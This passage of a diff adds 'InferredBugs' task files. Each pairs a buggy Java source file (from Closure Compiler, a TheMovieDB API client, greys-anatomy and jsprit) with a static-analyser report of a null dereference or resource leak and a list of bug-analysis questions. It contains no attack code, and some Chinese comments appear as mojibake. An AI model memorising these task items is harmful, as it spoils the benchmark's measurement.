+          boolean v2OutLive = state.getOut().isLive(v2);
+          CombinedLiveRangeChecker checker = new CombinedLiveRangeChecker(
+              new LiveRangeChecker(v1, v2OutLive ? null : v2),
+              new LiveRangeChecker(v2, v1OutLive ? null : v1));
+          NodeTraversal.traverse(
+              compiler,
+              cfgNode.getValue(),
+              checker);
+          if (checker.connectIfCrossed(interferenceGraph)) {
+            continue NEXT_VAR_PAIR;
+          }
+        }
+      }
+    }
+    return interferenceGraph;
+  }
+
+  /**
+   * A simple wrapper calls to call two AbstractCfgNodeTraversalCallback
+   * callback during the same traversal.  Both traversals must have the same
+   * "shouldTraverse" conditions.
+   */
+  private static class CombinedLiveRangeChecker
+      extends AbstractCfgNodeTraversalCallback {
+
+    private final LiveRangeChecker callback1;
+    private final LiveRangeChecker callback2;
+
+    CombinedLiveRangeChecker(
+        LiveRangeChecker callback1,
+        LiveRangeChecker callback2) {
+      this.callback1 = callback1;
+      this.callback2 = callback2;
+    }
+
+    @Override
+    public void visit(NodeTraversal t, Node n, Node parent) {
+      if (LiveRangeChecker.shouldVisit(n)) {
+        callback1.visit(t, n, parent);
+        callback2.visit(t, n, parent);
+      }
+    }
+
+    boolean connectIfCrossed(UndiGraph<Var, Void> interferenceGraph) {
+      if (callback1.crossed || callback2.crossed) {
+        Var v1 = callback1.getDef();
+        Var v2 = callback2.getDef();
+        interferenceGraph.connectIfNotFound(v1, null, v2);
+        return true;
+      }
+      return false;
+    }
+  }
+
+  /**
+   * Tries to remove variable declaration if the variable has been coalesced
+   * with another variable that has already been declared.
+   */
+  private void removeVarDeclaration(Node name) {
+    Node var = name.getParent();
+    Node parent = var.getParent();
+
+    // Special case when we are in FOR-IN loop.
+    if (NodeUtil.isForIn(parent)) {
+      var.removeChild(name);
+      parent.replaceChild(var, name);
+    } else if (var.hasOneChild()) {
+      // The removal is easy when there is only one variable in the VAR node.
+      if (name.hasChildren()) {
+        Node value = name.removeFirstChild();
+        var.removeChild(name);
+        Node assign = new Node(Token.ASSIGN, name, value)
+            .copyInformationFrom(name);
+
+        // We don't need to wrapped it with EXPR node if it is within a FOR.
+        if (parent.getType() != Token.FOR) {
+          assign = NodeUtil.newExpr(assign);
+        }
+        parent.replaceChild(var, assign);
+
+      } else {
+        // In a FOR( ; ; ) node, we must replace it with an EMPTY or else it
+        // becomes a FOR-IN node.
+        NodeUtil.removeChild(parent, var);
+      }
+    } else {
+      if (!name.hasChildren()) {
+        var.removeChild(name);
+      }
+      // We are going to leave duplicated declaration otherwise.
+    }
+  }
+
+  private static class LiveRangeChecker
+      extends AbstractCfgNodeTraversalCallback {
+    boolean defFound = false;
+    boolean crossed = false;
+    private final Var def;
+    private final Var use;
+
+    public LiveRangeChecker(Var def, Var use) {
+      this.def = def;
+      this.use = use;
+    }
+
+    Var getDef() {
+      return def;
+    }
+
+    /**
+     * @return Whether any LiveRangeChecker would be interested in the node.
+     */
+    public static boolean shouldVisit(Node n) {
+      return (NodeUtil.isName(n)
+        || (n.hasChildren() && NodeUtil.isName(n.getFirstChild())));
+    }
+
+    @Override
+    public void visit(NodeTraversal t, Node n, Node parent) {
+      if (!defFound && isAssignTo(def, n, parent)) {
+        defFound = true;
+      }
+
+      if (defFound && (use == null || isReadFrom(use, n))) {
+        crossed = true;
+      }
+    }
+
+    private static boolean isAssignTo(Var var, Node n, Node parent) {
+      if (NodeUtil.isName(n) && var.getName().equals(n.getString()) &&
+          parent != null) {
+        if (parent.getType() == Token.LP) {
+          // In a function declaration, the formal parameters are assigned.
+          return true;
+        } else if (NodeUtil.isVar(parent)) {
+          // If this is a VAR declaration, if the name node has a child, we are
+          // assigning to that name.
+          return n.hasChildren();
+        }
+        return false; // Definitely a read.
+      } else {
+        // Lastly, any assignmentOP is also an assign.
+        Node name = n.getFirstChild();
+        return name != null && NodeUtil.isName(name) &&
+          var.getName().equals(name.getString()) &&
+          NodeUtil.isAssignmentOp(n);
+      }
+    }
+
+    private static boolean isReadFrom(Var var, Node name) {
+      return name != null && NodeUtil.isName(name) &&
+          var.getName().equals(name.getString()) &&
+          !NodeUtil.isVarOrSimpleAssignLhs(name, name.getParent());
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `v.getParentNode()` could be null and is dereferenced by call to `isFunction(...)` at line 216.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+UndiGraph CoalesceVariableNames.computeVariableNamesInterferenceGraph(NodeTraversal,ControlFlowGraph,Set)
+
+### Procedure Id:
+com.google.javascript.jscomp.CoalesceVariableNames.computeVariableNamesInterferenceGraph(com.google..409bd39d5adbd9c50d3ac3a6d077442e
+
+### File:
+src/com/google/javascript/jscomp/CoalesceVariableNames.java
+
+### Key:
+CoalesceVariableNames.java|computeVariableNamesInterferenceGraph|NULL_DEREFERENCE
+
+### Node Key:
+daec22850158c6e72a312d8879b282fa
+
+### Hash:
+9fbd48e322182a00f63bad437b925c2d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5240/instruction.md b/inferredbugs-5240/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b18743ef3e925802602125043ca01534c0c4417a
--- /dev/null
+++ b/inferredbugs-5240/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** api-themoviedb
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *      Copyright (c) 2004-2015 Stuart Boston
+ *
+ *      This file is part of TheMovieDB API.
+ *
+ *      TheMovieDB API is free software: you can redistribute it and/or modify
+ *      it under the terms of the GNU General Public License as published by
+ *      the Free Software Foundation, either version 3 of the License, or
+ *      any later version.
+ *
+ *      TheMovieDB API is distributed in the hope that it will be useful,
+ *      but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *      GNU General Public License for more details.
+ *
+ *      You should have received a copy of the GNU General Public License
+ *      along with TheMovieDB API.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+package com.omertron.themoviedbapi.methods;
+
+import com.omertron.themoviedbapi.AbstractTests;
+import com.omertron.themoviedbapi.MovieDbException;
+import com.omertron.themoviedbapi.model.change.ChangedMedia;
+import com.omertron.themoviedbapi.results.TmdbResultsList;
+import com.omertron.themoviedbapi.tools.MethodBase;
+import org.junit.AfterClass;
+import static org.junit.Assert.assertFalse;
+import org.junit.BeforeClass;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ *
+ * @author stuart.boston
+ */
+public class TmdbChangesTest extends AbstractTests {
+
+    // API
+    private static TmdbChanges instance;
+
+    public TmdbChangesTest() {
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws MovieDbException {
+        doConfiguration();
+        instance = new TmdbChanges(getApiKey(), getHttpTools());
+    }
+
+    @AfterClass
+    public static void tearDownClass() {
+    }
+
+    /**
+     * Test of getChangeList(MOVIE) method, of class TmdbChanges.
+     *
+     * @throws MovieDbException
+     */
+    @Test
+    public void testGetMovieChangesList() throws MovieDbException {
+        LOG.info("getMovieChangesList");
+        TmdbResultsList<ChangedMedia> result = instance.getChangeList(MethodBase.MOVIE, null, null, null);
+        assertFalse("No movie changes.", result.getResults().isEmpty());
+    }
+
+    /**
+     * Test of getChangeList(PERSON) method, of class TheMovieDbApi.
+     *
+     * @throws MovieDbException
+     */
+    @Ignore("Not ready yet")
+    public void testGetPersonChangesList() throws MovieDbException {
+        LOG.info("getPersonChangesList");
+        TmdbResultsList<ChangedMedia> result = instance.getChangeList(MethodBase.PERSON, null, null, null);
+        assertFalse("No Person changes.", result.getResults().isEmpty());
+    }
+
+    /**
+     * Test of getChangeList(TV) method, of class TheMovieDbApi.
+     *
+     * @throws MovieDbException
+     */
+    @Ignore("Not ready yet")
+    public void testGetTVChangesList() throws MovieDbException {
+        LOG.info("getPersonChangesList");
+        TmdbResultsList<ChangedMedia> result = instance.getChangeList(MethodBase.PERSON, null, null, null);
+        assertFalse("No TV changes.", result.getResults().isEmpty());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getChangeList(...)` at line 87.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TmdbChangesTest.testGetTVChangesList()
+
+### Procedure Id:
+com.omertron.themoviedbapi.methods.TmdbChangesTest.testGetTVChangesList():void.6086317b8db493d4893126e79d4fbca9
+
+### File:
+src/test/java/com/omertron/themoviedbapi/methods/TmdbChangesTest.java
+
+### Key:
+TmdbChangesTest.java|testGetTVChangesList|NULL_DEREFERENCE
+
+### Node Key:
+4993c9594a0fc46e69f9bfd2837c960e
+
+### Hash:
+0555553e5b66a4584a55bb57524102ec
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5247/instruction.md b/inferredbugs-5247/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..58953f323ec5ce085a50064299e9373a94c49b5c
--- /dev/null
+++ b/inferredbugs-5247/instruction.md
@@ -0,0 +1,182 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** greys-anatomy
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.googlecode.greysanatomy;
+
+import java.lang.reflect.Field;
+
+import static com.googlecode.greysanatomy.util.GaReflectUtils.*;
+import static com.googlecode.greysanatomy.util.GaStringUtils.*;
+
+/**
+ * 
+ *
+ * @author vlinux
+ */
+public class Configure {
+
+    private String targetIp;                //ĿIP
+    private int targetPort;                 //Ŀ̺
+    private int javaPid;                    //Էjava̺
+    private long connectTimeout = 6000;     //ӳʱʱ(ms)
+    private boolean multi;                  //ûģʽ
+    private String consolePrompt = "ga?>";  //̨ʾ
+
+    /**
+     * ConfigureתΪַ
+     */
+    public String toString() {
+        final StringBuilder strSB = new StringBuilder();
+        for (Field field : getFields(Configure.class)) {
+            try {
+                strSB.append(field.getName()).append("=").append(encode(newString(getFieldValueByField(this, field)))).append(";");
+            } catch (Throwable t) {
+                //
+            }
+        }//for
+        return strSB.toString();
+    }
+
+    /**
+     * toStringתΪConfigure
+     *
+     * @param toString
+     * @return
+     */
+    public static Configure toConfigure(String toString) {
+        final Configure configure = new Configure();
+        final String[] pvs = split(toString, ";");
+        for (String pv : pvs) {
+            try {
+                final String[] stringSplitArray = split(pv, "=");
+                final String p = stringSplitArray[0];
+                final String v = decode(stringSplitArray[1]);
+                final Field field = getField(Configure.class, p);
+                set(field, valueOf(field.getType(), v), configure);
+            } catch (Throwable t) {
+                //
+            }
+        }
+        return configure;
+    }
+
+    public String getTargetIp() {
+        return targetIp;
+    }
+
+    public void setTargetIp(String targetIp) {
+        this.targetIp = targetIp;
+    }
+
+    public int getTargetPort() {
+        return targetPort;
+    }
+
+    public void setTargetPort(int targetPort) {
+        this.targetPort = targetPort;
+    }
+
+    public int getJavaPid() {
+        return javaPid;
+    }
+
+    public void setJavaPid(int javaPid) {
+        this.javaPid = javaPid;
+    }
+
+    public long getConnectTimeout() {
+        return connectTimeout;
+    }
+
+    public void setConnectTimeout(long connectTimeout) {
+        this.connectTimeout = connectTimeout;
+    }
+
+    public boolean isMulti() {
+        return multi;
+    }
+
+    public void setMulti(boolean multi) {
+        this.multi = multi;
+    }
+
+    public String getConsolePrompt() {
+        return consolePrompt;
+    }
+
+    public void setConsolePrompt(String consolePrompt) {
+        this.consolePrompt = consolePrompt;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `field` last assigned on line 51 could be null and is dereferenced at line 52.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Configure Configure.toConfigure(String)
+
+### Procedure Id:
+com.googlecode.greysanatomy.Configure.toConfigure(java.lang.String):com.googlecode.greysanatomy.Conf.2fd0d4cb6f28c03247be3091f3913ecc
+
+### File:
+src/main/java/com/googlecode/greysanatomy/Configure.java
+
+### Key:
+Configure.java|toConfigure|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+316b646b050ed13308c00280d30a732e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5249/instruction.md b/inferredbugs-5249/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a75b5f574aee6dbeb4d2523d0673c7d680e6e5ae
--- /dev/null
+++ b/inferredbugs-5249/instruction.md
@@ -0,0 +1,285 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** greys-anatomy
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.googlecode.greysanatomy.console.server;
+
+import static com.googlecode.greysanatomy.console.server.SessionJobsHolder.heartBeatSession;
+import static com.googlecode.greysanatomy.console.server.SessionJobsHolder.registSession;
+import static com.googlecode.greysanatomy.console.server.SessionJobsHolder.unRegistJob;
+import static com.googlecode.greysanatomy.probe.ProbeJobs.createJob;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.lang.instrument.Instrumentation;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+
+import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.googlecode.greysanatomy.console.command.Command;
+import com.googlecode.greysanatomy.console.command.Command.Action;
+import com.googlecode.greysanatomy.console.command.Command.Info;
+import com.googlecode.greysanatomy.console.command.Command.Sender;
+import com.googlecode.greysanatomy.console.command.Commands;
+import com.googlecode.greysanatomy.console.rmi.RespResult;
+import com.googlecode.greysanatomy.console.rmi.req.ReqCmd;
+import com.googlecode.greysanatomy.console.rmi.req.ReqGetResult;
+import com.googlecode.greysanatomy.console.rmi.req.ReqHeart;
+import com.googlecode.greysanatomy.console.rmi.req.ReqKillJob;
+import com.googlecode.greysanatomy.util.JvmUtils;
+import com.googlecode.greysanatomy.util.JvmUtils.ShutdownHook;
+
+/**
+ * ̨˴
+ * @author vlinux
+ *
+ */
+public class ConsoleServerHandler {
+
+	private static final Logger logger = LoggerFactory.getLogger("greysanatomy");
+	
+	private final Instrumentation inst;
+	private final ExecutorService workers;
+	
+	public ConsoleServerHandler(Instrumentation inst) {
+		this.inst = inst;
+		this.workers = Executors.newCachedThreadPool(new ThreadFactory() {
+
+			@Override
+			public Thread newThread(Runnable r) {
+				Thread t = new Thread(r, "ga-console-server-workers");
+				t.setDaemon(true);
+				return t;
+			}
+
+		});
+		
+		JvmUtils.registShutdownHook("ga-console-server", new ShutdownHook(){
+
+			@Override
+			public void shutdown() throws Throwable {
+				if( null != workers ) {
+					workers.shutdown();
+				}
+			}
+			
+		});
+		
+	}
+	
+	public RespResult postCmd(final ReqCmd cmd) {
+		final RespResult respResult = new RespResult();
+		respResult.setSessionId(cmd.getGaSessionId());
+		respResult.setJobId(createJob());
+		workers.execute(new Runnable(){
+
+			@Override
+			public void run() {
+				// ͨ
+				final Info info = new Info(inst, respResult.getSessionId(), respResult.getJobId());
+				final Sender sender = new Sender(){
+
+					@Override
+					public void send(boolean isF, String message) {
+						write(respResult.getSessionId(), respResult.getJobId(), isF, message);
+					}
+				};
+				
+				try {
+					final Command command = Commands.getInstance().newCommand(cmd.getCommand());
+					// 
+					if( null == command ) {
+						write(respResult.getSessionId(), respResult.getJobId(), true, "command not found!");
+						return;
+					}
+					final Action action = command.getAction();
+					action.action(info, sender);
+				}catch(Throwable t) {
+					// ִʧ
+					logger.warn("do action failed.", t);
+					write(respResult.getSessionId(), respResult.getJobId(), true, "do action failed. cause:"+t.getMessage());
+					return;
+				}
+			}
+			
+		});
+		return respResult;
+	}
+
+	public long register() {
+		return registSession();
+	}
+
+	public RespResult getCmdExecuteResult(ReqGetResult req) {
+		RespResult respResult = new RespResult();
+		if(!heartBeatSession(req.getGaSessionId())){
+			respResult.setMessage("session Timeout.please reload!");
+			respResult.setFinish(true);
+			return respResult;
+		}
+		read(req.getJobId(), req.getPos(), respResult);
+		respResult.setFinish(isFinish(respResult.getMessage()));
+		return respResult;
+	}
+
+	public void killJob(ReqKillJob req) {
+		unRegistJob(req.getGaSessionId(), req.getJobId());
+	}
+
+	public boolean sessionHeartBeat(ReqHeart req) {
+		return heartBeatSession(req.getGaSessionId());
+	}
+	
+	/**
+	 * ִнļ·
+	 */
+	private final String executeResultDir = System.getProperty("java.io.tmpdir") + "/greysdata/";
+	
+	private final String executeResultFileExtensions = ".ga";
+	
+	private final String endMark = ""+(char)29;
+	
+	/**
+	 * д
+	 * @param gaSessionId
+	 * @param jobId
+	 * @param isF
+	 * @param message
+	 */
+	private void write(long gaSessionId, String jobId, boolean isF, String message) {
+		if(isF){
+			message += endMark;
+		}
+		
+		if(StringUtils.isEmpty(message)){
+			return;
+		}
+		
+		RandomAccessFile rf;
+		
+		try {
+			new File(executeResultDir).mkdir();
+			rf = new RandomAccessFile(getExecuteFilePath(jobId), "rw");
+			rf.seek(rf.length());
+			rf.write(message.getBytes());
+			rf.close();
+		} catch (IOException e) {
+			logger.warn("jobFile write error!",e);
+			return ;
+		}  
+	}
+	
+	/**
+	 * jobĽ
+	 * @param gaSessionId
+	 * @param jobId
+	 * @param pos
+	 * @param message
+	 * @return
+	 */
+	private void read(String jobId, int pos, RespResult respResult) {
+		RandomAccessFile rf;
+		StringBuilder sb = new StringBuilder();
+		int newPos = pos;
+		try {
+			rf = new RandomAccessFile(getExecuteFilePath(jobId), "r");
+			rf.seek(pos);
+			byte[] buffer = new byte[10000]; 
+	        int len=0; 
+			while ((len=rf.read(buffer))!=-1) { 
+				newPos += len;
+				sb.append(new String(buffer,0,len)); 
+	        } 
+			rf.close();
+		} catch (IOException e) {
+			logger.warn("jobFile read error!");
+			return ;
+		}  
+		respResult.setPos(newPos);
+		respResult.setMessage(sb.toString());
+	}
+	
+	private String getExecuteFilePath(String jobId){
+		return executeResultDir + jobId + executeResultFileExtensions;
+	}
+	
+	private boolean isFinish(String message){
+		return !StringUtils.isEmpty(message) ? message.endsWith(endMark) : false;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired to `rf` by call to `RandomAccessFile(...)` at line 186 is not released after line 195.
+**Note**: potential exception at line 187
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConsoleServerHandler.read(String,int,RespResult)
+
+### Procedure Id:
+com.googlecode.greysanatomy.console.server.ConsoleServerHandler.read(java.lang.String,int,com.google.ef9e632dd1ac416918a4f79ae5752f2d
+
+### File:
+src/main/java/com/googlecode/greysanatomy/console/server/ConsoleServerHandler.java
+
+### Key:
+ConsoleServerHandler.java|read|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+5abde798f8e566e2a9cf503a480d7503
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5278/instruction.md b/inferredbugs-5278/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..73790c99c537391b36a57a3cda7fbcfecb525a70
--- /dev/null
+++ b/inferredbugs-5278/instruction.md
@@ -0,0 +1,244 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsprit
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (C) 2013  Stefan Schroeder
+ * 
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either 
+ * version 3.0 of the License, or (at your option) any later version.
+ * 
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ * 
+ * You should have received a copy of the GNU Lesser General Public 
+ * License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+ ******************************************************************************/
+package jsprit.core.algorithm.state;
+
+import static org.junit.Assert.assertEquals;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+import jsprit.core.problem.VehicleRoutingProblem;
+import jsprit.core.problem.cost.VehicleRoutingTransportCosts;
+import jsprit.core.problem.driver.Driver;
+import jsprit.core.problem.driver.DriverImpl;
+import jsprit.core.problem.job.Job;
+import jsprit.core.problem.job.Service;
+import jsprit.core.problem.solution.route.VehicleRoute;
+import jsprit.core.problem.solution.route.activity.ServiceActivity;
+import jsprit.core.problem.solution.route.activity.TimeWindow;
+import jsprit.core.problem.solution.route.activity.TourActivities;
+import jsprit.core.problem.solution.route.state.StateFactory;
+import jsprit.core.problem.vehicle.Vehicle;
+import jsprit.core.problem.vehicle.VehicleImpl;
+import jsprit.core.problem.vehicle.VehicleTypeImpl;
+import jsprit.core.util.Coordinate;
+import jsprit.core.util.ManhattanDistanceCalculator;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class TestTourStateUpdaterWithService {
+
+	TourActivities tour;
+
+	Driver driver;
+
+	Vehicle vehicle;
+
+	TourActivities anotherTour;
+
+	
+	StateManager states;
+
+	private VehicleRoute vehicleRoute;
+
+	@Before
+	public void setUp() {
+
+		VehicleRoutingTransportCosts cost = new VehicleRoutingTransportCosts() {
+
+			@Override
+			public double getBackwardTransportTime(String fromId, String toId,
+					double arrivalTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, arrivalTime, driver, vehicle);
+			}
+
+			@Override
+			public double getBackwardTransportCost(String fromId, String toId,
+					double arrivalTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, arrivalTime, driver, vehicle);
+			}
+
+			@Override
+			public double getTransportCost(String fromId, String toId, double departureTime, Driver driver, Vehicle vehicle) {
+				String[] fromTokens = fromId.split(",");
+				String[] toTokens = toId.split(",");
+				double fromX = Double.parseDouble(fromTokens[0]);
+				double fromY = Double.parseDouble(fromTokens[1]);
+
+				double toX = Double.parseDouble(toTokens[0]);
+				double toY = Double.parseDouble(toTokens[1]);
+
+				return ManhattanDistanceCalculator.calculateDistance(new Coordinate(fromX, fromY), new Coordinate(toX, toY));
+			}
+
+			@Override
+			public double getTransportTime(String fromId, String toId, double departureTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, departureTime, driver, vehicle);
+			}
+		};
+
+		Service firstService = Service.Builder.newInstance("1", 5).setLocationId("10,0").setTimeWindow(TimeWindow.newInstance(0, 20)).build();
+		Service secondService = Service.Builder.newInstance("2", 5).setLocationId("0,10").setTimeWindow(TimeWindow.newInstance(0, 50)).build();
+		
+		Collection<Job> services = new ArrayList<Job>();
+		services.add(firstService);
+		services.add(secondService);
+		
+		VehicleTypeImpl type = VehicleTypeImpl.Builder.newInstance("test", 10).build();
+		vehicle = VehicleImpl.Builder.newInstance("testvehicle").setType(type).setLocationId("0,0")
+				.setEarliestStart(0.0).setLatestArrival(50.0).build();
+		
+		
+		VehicleRoutingProblem vrp = VehicleRoutingProblem.Builder.newInstance().addAllJobs(services).addVehicle(vehicle).setRoutingCost(cost).build();
+		
+		states = new StateManager(vrp);
+		states.updateLoadStates();
+		states.updateTimeWindowStates();
+		states.addStateUpdater(new UpdateVariableCosts(vrp.getActivityCosts(), vrp.getTransportCosts(), states));
+		states.addStateUpdater(new UpdateActivityTimes(vrp.getTransportCosts()));
+		
+		tour = new TourActivities();
+		tour.addActivity(ServiceActivity.newInstance(firstService));
+		tour.addActivity(ServiceActivity.newInstance(secondService));
+	
+		vehicleRoute = VehicleRoute.newInstance(tour,DriverImpl.noDriver(),vehicle);
+	}
+	
+	@Test
+	public void testCalculatedCost() {
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(40.0, states.getRouteState(vehicleRoute,StateFactory.COSTS).toDouble(), 0.05);
+		assertEquals(10, states.getRouteState(vehicleRoute, StateFactory.LOAD_AT_END).toDouble(), 0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct0(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(0.0, vehicleRoute.getStart().getEndTime(),0.05);
+		assertEquals(vehicleRoute.getVehicle().getLocationId(), vehicleRoute.getStart().getLocationId());
+		assertEquals(vehicleRoute.getVehicle().getEarliestDeparture(), vehicleRoute.getStart().getTheoreticalEarliestOperationStartTime(),0.05);
+		assertEquals(vehicleRoute.getVehicle().getLatestArrival(), vehicleRoute.getStart().getTheoreticalLatestOperationStartTime(),0.05);
+		
+	}
+	
+	@Test
+	public void testStatesOfAct1(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateFactory.COSTS).toDouble(),0.05);
+		assertEquals(5.0, states.getActivityState(tour.getActivities().get(0), StateFactory.LOAD).toDouble(),0.05);
+//		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateTypes.EARLIEST_OPERATION_START_TIME).toDouble(),0.05);
+		assertEquals(20.0, states.getActivityState(tour.getActivities().get(0), StateFactory.LATEST_OPERATION_START_TIME).toDouble(),0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct2(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		
+		assertEquals(30.0, states.getActivityState(tour.getActivities().get(1), StateFactory.COSTS).toDouble(),0.05);
+		assertEquals(10.0, states.getActivityState(tour.getActivities().get(1), StateFactory.LOAD).toDouble(),0.05);
+//		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateTypes.EARLIEST_OPERATION_START_TIME).toDouble(),0.05);
+		assertEquals(40.0, states.getActivityState(tour.getActivities().get(1), StateFactory.LATEST_OPERATION_START_TIME).toDouble(),0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct3(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(40.0, states.getRouteState(vehicleRoute, StateFactory.COSTS).toDouble(), 0.05);
+		assertEquals(40.0, vehicleRoute.getEnd().getArrTime(),0.05);
+		assertEquals(50.0, vehicleRoute.getEnd().getTheoreticalLatestOperationStartTime(),0.05);
+	}
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `TestTourStateUpdaterWithService.states.getActivityState(TestTourStateUpdaterWithService.tour.getActivities().get(0),jsprit.core.problem.solution.route.state.StateFactory.COSTS)` could be null and is dereferenced at line 145.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestTourStateUpdaterWithService.testStatesOfAct1()
+
+### Procedure Id:
+jsprit.core.algorithm.state.TestTourStateUpdaterWithService.testStatesOfAct1():void.5b4429683eebaf1dd0f9e0531bfd7c9f
+
+### File:
